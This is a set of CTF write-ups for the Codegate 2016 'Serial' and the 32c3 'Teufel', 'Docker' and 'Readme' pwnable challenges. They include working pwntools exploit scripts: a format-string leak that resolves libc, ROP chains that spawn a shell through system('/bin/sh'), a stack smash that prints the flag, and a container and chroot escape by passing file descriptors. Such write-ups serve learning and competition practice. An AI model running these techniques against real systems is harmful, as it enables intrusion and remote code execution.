Codegate Quals 2016 Serial

This is a write-up of the challenge Serial from the Codegate qualification round 2016.

The challenge

Serial is a 64bit x86 linux pwnable.

Reversing

When the program is run, we got prompted for a product key:

$ ./serial
input product key:

After a short look at the binary we found that the check function was at 0x400ccb, and that it accepts 32 bytes of input which it somehow checks. But after a first look at how the function worked we decided that is was simple but that it would be boring to reverse, and that it would take some time to write a keygen by hand.

So we decided on using Angr, and so I wrote this script to crack it:

When we run this script it gives us the product key(after a short time):

$ python gen_serial.py
Serial is: '615066814080'

Giving this as input the program we finally get to the menu:

$ ./serial
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >>

The Bug

The program starts by allocating 10 elements of size 0x20 using calloc, which we can then manipulate by the commands add, remove or dump.

The structure of these elements looks like:

struct elem {
    char note[24];
    void *dump_func_pointer;
};

But the add command allows us to overwrite the function pointer, and the dump command the just calls this pointer with a reference to the element as an argument.

Exploitation

Luckily we haveprintf in the binary, so we can use the bug to call printf like

printf("We can insert a nice format string here");

Thus we are able to read and write memory as we like, for example:

from pwn import *

e = ELF("./serial")
r = process("./serial")

r.recvuntil("input product key:")
r.sendline("615066814080")

@MemLeak
def leak(addr):
    r.recvuntil("choice >> ")
    r.sendline("1")
    r.sendline("BB%13$sCC".ljust(24) + p64(e.plt["printf"]))
    # This is placed somewhere on the stack.
    r.sendline("3AAAAAAA"+p64(addr))
    # remember to remove the element, we only have 10.
    r.sendline("2\n0")
    r.recvuntil("BB")

    data = r.recvuntil("CC")[:-2] + "\x00"

    r.recvuntil("choice >> ")
    return data

# Magic from pwntools, which does pointer chasing and hashtable
# lookups to find stuff in memory. You should check it out.
d = DynELF(leak, elf = e)
system = d.lookup("system", "libc.so")
print "This is the address of 'system' in libc.so:", hex(system)

And it works:

$ python doit_serial.py
[*] '/home/user/serial'
    Arch:          amd64-64-little
    RELRO:         Partial RELRO
    Stack Canary:  Canary found
    NX:            NX enabled
    PIE:           No PIE
[+] Starting program './serial': Done
[+] Loading from '/home/user/serial': 0x7f739e8e61a8
[+] Resolving 'system' in 'libc.so': 0x7f739e8e61a8
This is the address of 'system' in libc.so: 0x7f739e35a490

And now we simply need to use system as our dumper function and call it the right way:

r.recvuntil("choice >> ")
r.sendline("1")
r.sendline("sh;".ljust(24) + p64(system))
r.sendline("3")

# lol, have a shell
r.clean()
r.interactive()

Final exploit

32c3 Teufel

This is a write-up of the teufel challenge from the 32c3 CTF

The Challenge

This was a 64-bit x86 binary pwnable. The way it worked was that it allocated a new stack with a read-only guard page above it, and then it entered a loop which called a function which was more or less equivalent to

void read_read_puts(){
    long int n;
    if(read(0, &n, 8) <= 0) exit(0);
    if(read(0, &n, n) <= 0) exit(0);
    puts(&n);
}

The Exploit

First of all, because the way the stack has been setup we can only put 24 bytes on the stack, namely n, rbp, and rip, therefore we can only jump to one gadget, and we only control rbp.

However we are able to leak the address of the stack by only sending 9 bytes, and then let puts print it to us:

from pwn import *

r = process("./teufel")

r.send(p64(9))
r.send("A"*9)

assert r.recvn(8) == "A"*8

stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
log.info("Stack is at 0x%x", stack)
$ python doit_teufel.py 
[+] Starting program './teufel': Done
[*] Stack is at 0x7fe6913aa000
[*] Stopped program './teufel'

Now that we know where the stack is, we found the gadget

loop:
4004d4: mov    rsp,rbp
4004d7: call   4004e6 <read_read_puts>
4004dc: jmp    4004d7 <loop>

Using this gadget we were able to pivot the stack, to get more space:

mov_rsp_call = 0x4004d4
rop1 = flat([
    "A"*8,
    stack-0x100,
    mov_rsp_call
], word_size=64)

r.send(p64(len(rop1))+ rop1)
r.recvline()

Now attaching gdb at this point we can see whats on the stack:

gdb$ x/10xg $sp
0x7fec13046ee8: 0x0000000026250a61  0x00007fec13046f00
0x7fec13046ef8: 0x00000000004004dc  0x00000000568cdfd4
0x7fec13046f08: 0x000000002625d0da  0x0000000000000000
0x7fec13046f18: 0x0000000000000000  0x0000000000000000
0x7fec13046f28: 0x00007fec12e28740  0x00000000ffffffff
                ^ this is in libc

And we can leak this:

r.send(p64(4*16))
r.send("A"*4*16)
assert r.recvn(4*16) == "A"*4*16
libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)
$ python doit_teufel.py 
[+] Starting program './teufel': Done
[*] Stack is at 0x7fbb8f3b1000
[*] Libc is at 0x7fbb8edcd000
[*] Program './teufel' stopped with exit code -11

and then teufel crashes... But becuase of the way the stack was allocated it is placed relative to libc, so we can just restart the program, leak the address of the stack again, and then ROP in libc.

So this was the final exploit:

from pwn import *

def new_process():
    #r = process("./teufel", env={"LD_LIBRARY_PATH": os.getcwd()})
    r = remote("136.243.194.41", 666)

    r.send(p64(9))
    r.send("A"*9)

    assert r.recvn(8) == "A"*8

    stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
    log.info("Stack is at 0x%x", stack)

    mov_rsp_call = 0x4004d4

    pivot_rop = flat([
        "A"*8,
        stack-0x100,
        mov_rsp_call
    ], word_size=64)

    r.send(p64(len(pivot_rop)) + pivot_rop)
    r.recvline()
    return r, stack

r, stack = new_process()
r.send(p64(4*16))
r.send("A"*4*16)

assert r.recvn(4*16) == "A"*4*16

libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)

diff = libc - stack

r, stack = new_process()
libc = stack + diff
log.info("Libc is at 0x%x" % libc)

pop_rdi = libc + 0x218a2
system = libc + 0x443d0

rop = flat([
    "/bin/sh\x00",
    0x0,
    pop_rdi,
    stack-0x100-0x18,
    system
], word_size=64)

r.send(p64(len(rop)) + rop)

r.clean()
r.interactive()

So we have a shell:

$ python doit_teufel.py 
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f76345fc000
[*] Libc is at 0x7f7634012000
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f7409b69000
[*] Libc is at 0x7f740957f000
[*] Switching to interactive mode
$ cat flag.txt
32C3_mov_pop_ret_repeat

32c3 Docker

This is a write-up of the docker challenge from the 32c3 CTF.

The Challenge

We were given ssh access is a box as the user eve, and we needed to read a flag(/home/adam/flag) that the user adam had read-only rights to.

adam had a binary(/home/adam/docker) which did:

/usr/bin/docker run -it --privileged=false -u 1337:65534 --cap-drop=ALL --net=host ubuntu /bin/bash

Which means that we had a bash shell inside a docker container running as adam but was using the same network stack as the host.

The Solution

As we were running as adam inside the container the logical step would be to break out of the container, and because the docker container was running with --net=host it was natural to think that it was a network related issue.

Thus the obvious choice is unix doman sockets, which are files that behaves as sockets but have some interesting features such as the ability to transfer file descriptors.

So digging though man pages we found something called abstract unix domain, which are unix domain sockets but not files. All this information can be found in man unix, along with information describing how to transfer file descriptors over unix domain sockets

After researching all this arcane magic we came up with: Which should be run outside of the docker as eve like:

./sendfd foobar /

And this should be run side of the docker as adam like:

./recvfd foobar /bin/bash

The twist

All of this was running inside a chroot, and adam's flag was a false flag, The real flag was at /flag and adam's was at /chroot/home/adam/flag.

But when your current working directory is already unreachable from the root you can break out of any chroot your are in. So this was not a problem.

Conclusion

This is not a bug in docker. Everything is working as intended. --net=host is harmful for your sandboxing.

32c3 Readme

This is a write-up of the readme challenge from the 32c3 CTF

The Challenge

This was a pwnable binary with with the flag baked into it, which you could see if you ran:

$ strings readme.bin  | grep 32C3
32C3_TheServerHasTheFlagHere...

The flag is located at 0x600d20 in the .data section.

The challenge was very simple, it was a service witch gets your name onto the stack, and then it asks you to over write the flag at 0x600d20

The Solution

First of all the flag is mapped into memory twice, because of how elf works it is also located in read-only memory at 0x400d20 but only the flag in the .data section gets overwritten.

So locally we could get it printed simply by smashing our stack all the way upto argv, and then let _stack_chk_fail print it for us.

from pwn import *

flag_addr = 0x400d20

r = process("./readme.bin")
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80)
r.sendline("THIS OVERWRITES THE FLAG")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())

which prints when executed:

$ python doit.py
[+] Starting program './readme.bin': Done
[*] The flag is: 32C3_TheServerHasTheFlagHere...
[*] Program './readme.bin' stopped with exit code -6

however this does not work remotely, this is becuase _stack_chk_fail calls __fortify_fail which calls __lib_message which does this:

void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap; 
  int fd = -1; 

  va_start (ap, fmt);

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
  if (on_2 == NULL || *on_2 == '\0')
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

  if (fd == -1) 
    fd = STDERR_FILENO;

  // then prints stuff and crashes
}

which means that we only need to set LIBC_FATAL_STDERR_ and the flag will get printed over stderr instead of /dev/tty.

So this is the final exploit:

from pwn import *

env_addr = 0x600d20
flag_addr = 0x400d20

r = remote("136.243.194.62", 1024)
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80 + p64(env_addr)*20)
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())

and we then finally have the flag:

$ python doit.py
[+] Opening connection to 136.243.194.62 on port 1024: Done
[*] The flag is: 32C3_ELF_caN_b3_pre7ty_we!rd...
[*] Closed connection to 136.243.194.62 port 1024